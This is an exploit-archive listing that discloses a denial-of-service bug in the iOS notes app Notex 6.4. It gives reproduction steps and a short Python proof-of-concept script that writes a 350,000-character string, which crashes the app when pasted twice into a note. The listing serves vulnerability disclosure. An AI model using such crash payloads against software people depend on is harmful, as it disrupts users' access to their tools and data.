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Notex The Best Notes 6.4 Denial Of Service

Notex The Best Notes 6.4 Denial Of Service
Posted Jun 14, 2021
Authored by Geovanni Ruiz

Notex The Best Notes version 6.4 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 3852e208cf812888e20a43020b51c03a0c272ac8930c6c0f2f3602e0d9c8bba8

Notex The Best Notes 6.4 Denial Of Service

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# Exploit Title: Notex the best notes 6.4 - Denial of Service (PoC)
# Date: 06-14-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/notex-the-best-notes/id847994217
# Version: 6.4
# Category: DoS (iOS)

##### Vulnerability #####

Notex – the best notes is vulnerable to a DoS condition when a long list of
characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

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